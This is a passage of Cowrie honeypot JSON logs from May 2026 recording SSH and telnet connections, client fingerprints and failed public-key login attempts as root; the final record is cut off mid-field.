{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:56:0d:5b:da:49:17:e0:fd:bd:27:00:51:0a:de:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMdujjRn5OO/w55AbVWOdwNjSBj/TAtVzge3S6l6/WN8h9y5rZeioTyyEEI9LJJuhRedI2tNmpHNr+vQsbu2Fbbi288GKQnmzE7rksqB1gSKSy5uJGjJNHrOPvhwVoPriZeJ2bL/CP96az8p7AXtKDbPTA/6Iq6Swl0s7GX2xxJqf3IJF5ssDD1P2bzgZvYsBEkRVSqunR195jf9lxBQPu1VH5u1EyjjrsztCgugBrYluoMaOm5y15uLgGDF5et1K1mJRFo2c62LX7FYsn53b7s0qjV23ZKm4+O7ObdeF2gy7msk1pbgU/ixGu4ShPojUzt4IY1dK1ymGlsIsoBBzH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:56:0d:5b:da:49:17:e0:fd:bd:27:00:51:0a:de:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:13.227034Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:56:0d:5b:da:49:17:e0:fd:bd:27:00:51:0a:de:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMdujjRn5OO/w55AbVWOdwNjSBj/TAtVzge3S6l6/WN8h9y5rZeioTyyEEI9LJJuhRedI2tNmpHNr+vQsbu2Fbbi288GKQnmzE7rksqB1gSKSy5uJGjJNHrOPvhwVoPriZeJ2bL/CP96az8p7AXtKDbPTA/6Iq6Swl0s7GX2xxJqf3IJF5ssDD1P2bzgZvYsBEkRVSqunR195jf9lxBQPu1VH5u1EyjjrsztCgugBrYluoMaOm5y15uLgGDF5et1K1mJRFo2c62LX7FYsn53b7s0qjV23ZKm4+O7ObdeF2gy7msk1pbgU/ixGu4ShPojUzt4IY1dK1ymGlsIsoBBzH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:13.230795Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:49:d9:59:62:00:64:f3:e1:e8:51:11:61:7e:f4:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjinCyOlstRlOZFVhieGDa+dP8o3C4h3HrBmmYs7bV9VdmAmmyQsmb9iDGc4Sce2k31hjSLaT9zIVfCdD1r+2p5hN9+E6K5O05DGNPukX0Vcge1TJAKB5yzpnfTSkgppmWt/Jf15HbddO0JXHs0syLP47DQEU1GDEpcZuWfcYmj1hAMRYKUp5Kwe1M2chEaTIBMz/BCSUuKV4T0VCyN3VkRqYA+v10g+g2uu5vxPAQyvRU/EMPGmoF6C/1kIlWyTkq6M7ZMBbFlQ8sDcmEU1koHoM1EnBAjtoBEhyArMxRonJT9nYyeECsm7LMN06czMynbi+/MRapkqk/R7nImwBV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:49:d9:59:62:00:64:f3:e1:e8:51:11:61:7e:f4:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:13.471949Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:49:d9:59:62:00:64:f3:e1:e8:51:11:61:7e:f4:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjinCyOlstRlOZFVhieGDa+dP8o3C4h3HrBmmYs7bV9VdmAmmyQsmb9iDGc4Sce2k31hjSLaT9zIVfCdD1r+2p5hN9+E6K5O05DGNPukX0Vcge1TJAKB5yzpnfTSkgppmWt/Jf15HbddO0JXHs0syLP47DQEU1GDEpcZuWfcYmj1hAMRYKUp5Kwe1M2chEaTIBMz/BCSUuKV4T0VCyN3VkRqYA+v10g+g2uu5vxPAQyvRU/EMPGmoF6C/1kIlWyTkq6M7ZMBbFlQ8sDcmEU1koHoM1EnBAjtoBEhyArMxRonJT9nYyeECsm7LMN06czMynbi+/MRapkqk/R7nImwBV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:13.475918Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:b9:23:c5:19:71:5f:52:9d:b2:ff:67:fe:16:b0:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/sERyQqlPqXyqAGuRUs8jXGQLp3yFBrBTfcNqq/OAdeECYW8pL/hRr8RMmVLLnQyPqsSis1st4TmsuSERLhHn22PFNc1WynZAaaFkwueCMb7s8A25uiyPchuu4g5E8OsFZdWCQrWvwxSbtmfly4RO+sNHxqVSEp+wMRbnSzfpytkVtGmyb+kDi45KXcuyo0Ke+LjLq4mHLeYVnoMgDze35eJMYnoK9hZD6omT0MreRuyllEOsEUklG/tjdifBjtrlLuf8Lvq5AEdCwy2CgjaI+ieq7IelkmRltkDnoaV4xoQKU19ugrclFxIK0V2Qkvcgoz14hPAiwVPl4v8xIBnhupt10xk5tTi5KL/I83d/bl851EQ6cxsUoHz2acqwYPdcOpNkavPVvagQGFjv41QC8h5L6N/lq/1/JdCS31xwVCH9UuELo3EeF1omF6lfunXG7aBfkXyE6o9mcyq9CNdsp7/qGAtplVfgaIYiJWhJMGJFDQ7PZ2f/UwXrchQrGx8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:b9:23:c5:19:71:5f:52:9d:b2:ff:67:fe:16:b0:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:13.715607Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:b9:23:c5:19:71:5f:52:9d:b2:ff:67:fe:16:b0:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/sERyQqlPqXyqAGuRUs8jXGQLp3yFBrBTfcNqq/OAdeECYW8pL/hRr8RMmVLLnQyPqsSis1st4TmsuSERLhHn22PFNc1WynZAaaFkwueCMb7s8A25uiyPchuu4g5E8OsFZdWCQrWvwxSbtmfly4RO+sNHxqVSEp+wMRbnSzfpytkVtGmyb+kDi45KXcuyo0Ke+LjLq4mHLeYVnoMgDze35eJMYnoK9hZD6omT0MreRuyllEOsEUklG/tjdifBjtrlLuf8Lvq5AEdCwy2CgjaI+ieq7IelkmRltkDnoaV4xoQKU19ugrclFxIK0V2Qkvcgoz14hPAiwVPl4v8xIBnhupt10xk5tTi5KL/I83d/bl851EQ6cxsUoHz2acqwYPdcOpNkavPVvagQGFjv41QC8h5L6N/lq/1/JdCS31xwVCH9UuELo3EeF1omF6lfunXG7aBfkXyE6o9mcyq9CNdsp7/qGAtplVfgaIYiJWhJMGJFDQ7PZ2f/UwXrchQrGx8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:13.719939Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:eb:c5:d6:07:e9:af:ee:75:74:44:38:c2:4a:69:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUavLW5dtpTteHa7Oafpe8cwCLBhw7/GUNFp40DIy6EQWytTN4CnLbT/iG0DR0dxPh7aPLuGP/BVjdug7TMacgSr3FwhnBhj8xm+MYYdKMmO7oI/4ikG2DjSQdDPIGw6R+81ak4/JTfcViyB/pTDVP0TZBucotkNbDr+2BUc0Ug56dJ4/aozAqfMhz4weog6GcfSA+YUL/eKQrGe1jtRhtQt+fhiRjJmLP/FFaaOTHhtCTXq2tuN/ECe2AknK578Uv9pcevG+skemTZ2b3jluGj4L1kTdKmx+0TPnC7mD7pX1x25tCu1zhy8v6Bg1aIiwgsQRT9Xvj7S3eGvAC1ln7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:eb:c5:d6:07:e9:af:ee:75:74:44:38:c2:4a:69:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:13.960135Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:eb:c5:d6:07:e9:af:ee:75:74:44:38:c2:4a:69:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUavLW5dtpTteHa7Oafpe8cwCLBhw7/GUNFp40DIy6EQWytTN4CnLbT/iG0DR0dxPh7aPLuGP/BVjdug7TMacgSr3FwhnBhj8xm+MYYdKMmO7oI/4ikG2DjSQdDPIGw6R+81ak4/JTfcViyB/pTDVP0TZBucotkNbDr+2BUc0Ug56dJ4/aozAqfMhz4weog6GcfSA+YUL/eKQrGe1jtRhtQt+fhiRjJmLP/FFaaOTHhtCTXq2tuN/ECe2AknK578Uv9pcevG+skemTZ2b3jluGj4L1kTdKmx+0TPnC7mD7pX1x25tCu1zhy8v6Bg1aIiwgsQRT9Xvj7S3eGvAC1ln7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:13.964039Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:14.204294Z","src_ip":"198.38.91.141","session":"6f5fe780a377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.22.114.141","src_port":37609,"dst_ip":"159.203.135.109","dst_port":23,"session":"09d3a2b6587f","protocol":"telnet","message":"New connection: 36.22.114.141:37609 (159.203.135.109:23) [session: 09d3a2b6587f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:46.280089Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.77.222.142","src_port":39898,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8e049323826","protocol":"ssh","message":"New connection: 51.77.222.142:39898 (10.17.0.5:22) [session: c8e049323826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:49.813130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:49.819478Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:49.902364Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:02:69:3e:f4:28:ca:e4:52:3b:33:15:05:1a:6b:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNrXoIB55W3Hnw/G2wZE+ZnM2tuQCujtDeZjJmc5v+15squw4LhGtOgjpPwtFSXajFZlI+U18JSQ01Dxgagz4GGvAAl4gIfy+vjuuKBv5GwauovKT7A+fXD/Isw98rfr7otk0Sa9TFd9tm+zkeuydLX9TXT7xdTlAa4SDYCps+K5sAETeM9FhS5bbYE6fSybzZTe8b/mUXxjNMsJ6JXK3zfm+KneQogVylzOsdOCvXcH1dkV3HdsKYGMWU9ci/GP8g1Q5ZmuBt45r0aql1dxOIiD3+TEhwyz70wtNzs9KuRvp5vd3HAwWppq26eO+hzCTbp9HA+wAe+DCmKVY9Fid3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:02:69:3e:f4:28:ca:e4:52:3b:33:15:05:1a:6b:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:50.294535Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:02:69:3e:f4:28:ca:e4:52:3b:33:15:05:1a:6b:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNrXoIB55W3Hnw/G2wZE+ZnM2tuQCujtDeZjJmc5v+15squw4LhGtOgjpPwtFSXajFZlI+U18JSQ01Dxgagz4GGvAAl4gIfy+vjuuKBv5GwauovKT7A+fXD/Isw98rfr7otk0Sa9TFd9tm+zkeuydLX9TXT7xdTlAa4SDYCps+K5sAETeM9FhS5bbYE6fSybzZTe8b/mUXxjNMsJ6JXK3zfm+KneQogVylzOsdOCvXcH1dkV3HdsKYGMWU9ci/GP8g1Q5ZmuBt45r0aql1dxOIiD3+TEhwyz70wtNzs9KuRvp5vd3HAwWppq26eO+hzCTbp9HA+wAe+DCmKVY9Fid3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:50.298392Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:a4:c2:a8:53:ab:c2:fe:5c:ad:ab:4c:6b:de:9d:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpn+rSmAcViv/w6JXi5fMlkoVQAS+oNUr6JML3w/6cMB819ajedddMnyXdaGIX/V2QyEt6isqEBWaBeInFTgxs4juYuff7YRirCnxXrbjejjh0FMLl012jWnDaqVMBSpHu7u3bn3dffcFhql00V9pL3Pv9zMJxRdHsT/NGz64SNYQjhWL4MJq4RwXR/CRPVNybix7TL3IflCBxFDKd8RGd93/WLDQHTCyuoCkMlKbmkUcBgdZmsvG+/TKPJ/abutpR0U3Ej86tASuJRNKhA55Aw2/9C+AUd+aljwu18rluCAdr5ZclNOtrMaVfrosPyvfySY5fTlJtVJMoh185HPox","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:a4:c2:a8:53:ab:c2:fe:5c:ad:ab:4c:6b:de:9d:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:50.380690Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:a4:c2:a8:53:ab:c2:fe:5c:ad:ab:4c:6b:de:9d:70","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpn+rSmAcViv/w6JXi5fMlkoVQAS+oNUr6JML3w/6cMB819ajedddMnyXdaGIX/V2QyEt6isqEBWaBeInFTgxs4juYuff7YRirCnxXrbjejjh0FMLl012jWnDaqVMBSpHu7u3bn3dffcFhql00V9pL3Pv9zMJxRdHsT/NGz64SNYQjhWL4MJq4RwXR/CRPVNybix7TL3IflCBxFDKd8RGd93/WLDQHTCyuoCkMlKbmkUcBgdZmsvG+/TKPJ/abutpR0U3Ej86tASuJRNKhA55Aw2/9C+AUd+aljwu18rluCAdr5ZclNOtrMaVfrosPyvfySY5fTlJtVJMoh185HPox","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:50.383861Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:8b:64:b0:ac:43:45:30:9d:3c:ec:11:76:f7:00:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD0T9OuksHgu2RnQHwcMnaEu1aSxmhJ2i4htQDi3tGODhfIPQQpLtq/8cxQmU/rGXY1Bzrmtxq44yXOorO40E0W2ZR5EtuMvo1URKBR2PMvLDsG3PfXfKX30oRvYCww6+BLXb6sAoG5t1gFTF2x0XIH0zzi2/8zWbWvCwM+e2SNqfD8mM7LaAyRoi0TRthpo6zWLMs/ijfwAMOfVibwwRKbIWHqXSLymutwtC9vp/AtP1uFLkTtsOiFkQl7asWUrPo1bFuApbq9fR0avapF23zBiRukAKFoatFTJbhrcN1o7sQhDMFyvgcAydUwvYNSg3eh+d8c33JN8V9fqeJ2S8P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:8b:64:b0:ac:43:45:30:9d:3c:ec:11:76:f7:00:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:50.466101Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:8b:64:b0:ac:43:45:30:9d:3c:ec:11:76:f7:00:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD0T9OuksHgu2RnQHwcMnaEu1aSxmhJ2i4htQDi3tGODhfIPQQpLtq/8cxQmU/rGXY1Bzrmtxq44yXOorO40E0W2ZR5EtuMvo1URKBR2PMvLDsG3PfXfKX30oRvYCww6+BLXb6sAoG5t1gFTF2x0XIH0zzi2/8zWbWvCwM+e2SNqfD8mM7LaAyRoi0TRthpo6zWLMs/ijfwAMOfVibwwRKbIWHqXSLymutwtC9vp/AtP1uFLkTtsOiFkQl7asWUrPo1bFuApbq9fR0avapF23zBiRukAKFoatFTJbhrcN1o7sQhDMFyvgcAydUwvYNSg3eh+d8c33JN8V9fqeJ2S8P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:50.469094Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:d3:48:78:b4:92:c7:a7:4d:b3:2f:47:43:20:c6:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCudr+FY7NLKjYiGijsU2OAZ1+l4mRkqFFfVpgZhFyzTGeZFejkdrhpsgCGs/Tg1/R8RX1qdSUZ5SXYHAIk308SaTHQ2zoksyyegzVHx3CcRaFUJtqfm5VDqfXvVrfXxbdQylXi2C5tWV7IuzA17IsRh1UDXR3DlrHObDOu8UdYuS9eBNQ7mHNHUc8AH82UNJc9WdvlszUgt7Lxz2uOUdzceL9moKyFNStt7j1toiw6kOI88XOdMvO5XDbtotyfrojZ1JphkrhSgLw7xsoGkJ3fdvm1ccP90/Li9RCRZ0lbp3MMlIimJHUDaFvegIVL7JWfHadrwfOU/25x8fwn/6Hb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:d3:48:78:b4:92:c7:a7:4d:b3:2f:47:43:20:c6:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:50.552416Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:d3:48:78:b4:92:c7:a7:4d:b3:2f:47:43:20:c6:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCudr+FY7NLKjYiGijsU2OAZ1+l4mRkqFFfVpgZhFyzTGeZFejkdrhpsgCGs/Tg1/R8RX1qdSUZ5SXYHAIk308SaTHQ2zoksyyegzVHx3CcRaFUJtqfm5VDqfXvVrfXxbdQylXi2C5tWV7IuzA17IsRh1UDXR3DlrHObDOu8UdYuS9eBNQ7mHNHUc8AH82UNJc9WdvlszUgt7Lxz2uOUdzceL9moKyFNStt7j1toiw6kOI88XOdMvO5XDbtotyfrojZ1JphkrhSgLw7xsoGkJ3fdvm1ccP90/Li9RCRZ0lbp3MMlIimJHUDaFvegIVL7JWfHadrwfOU/25x8fwn/6Hb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:50.555851Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:37:9f:a5:18:79:82:b5:f9:be:7f:3e:d5:91:a9:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4ylDR0JFiksTpfU6a2WwaZ0NoehGrKCX5dhfdmNbbNeAwbS677cGB/aU5u1JYGd3FPwlipmwR8Abru8uLRduTeAETJvvV+nho/Spy24Qcvf5TfHrK/Z6E7xZZbP5c8QNlJbGbXTmeriqgQrQYVP090npxJ2Hc2w7JzJhAUsRie95im1PpesdSjlnka0PLSfSTXSXlYYaSH/Qev7VCadsThbZODi0of/NZSACViz/psB2AovZXxFW0KdvvE7ubGVf0BkR6EUxbSCov4QX8NhkwKWoKvIdhNEvYBq0g51z7pncQbe1nZ8ifAPFhbqhVgyTXKt6PAOmx1DOTM+XhDdoiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:37:9f:a5:18:79:82:b5:f9:be:7f:3e:d5:91:a9:f6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:50.640824Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:37:9f:a5:18:79:82:b5:f9:be:7f:3e:d5:91:a9:f6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4ylDR0JFiksTpfU6a2WwaZ0NoehGrKCX5dhfdmNbbNeAwbS677cGB/aU5u1JYGd3FPwlipmwR8Abru8uLRduTeAETJvvV+nho/Spy24Qcvf5TfHrK/Z6E7xZZbP5c8QNlJbGbXTmeriqgQrQYVP090npxJ2Hc2w7JzJhAUsRie95im1PpesdSjlnka0PLSfSTXSXlYYaSH/Qev7VCadsThbZODi0of/NZSACViz/psB2AovZXxFW0KdvvE7ubGVf0BkR6EUxbSCov4QX8NhkwKWoKvIdhNEvYBq0g51z7pncQbe1nZ8ifAPFhbqhVgyTXKt6PAOmx1DOTM+XhDdoiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:50.644314Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:50.727140Z","src_ip":"51.77.222.142","session":"c8e049323826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.90.232.249","src_port":59896,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f11863adce9","protocol":"ssh","message":"New connection: 209.90.232.249:59896 (10.17.0.5:22) [session: 0f11863adce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:59.702102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:51:59.706791Z","src_ip":"209.90.232.249","session":"0f11863adce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 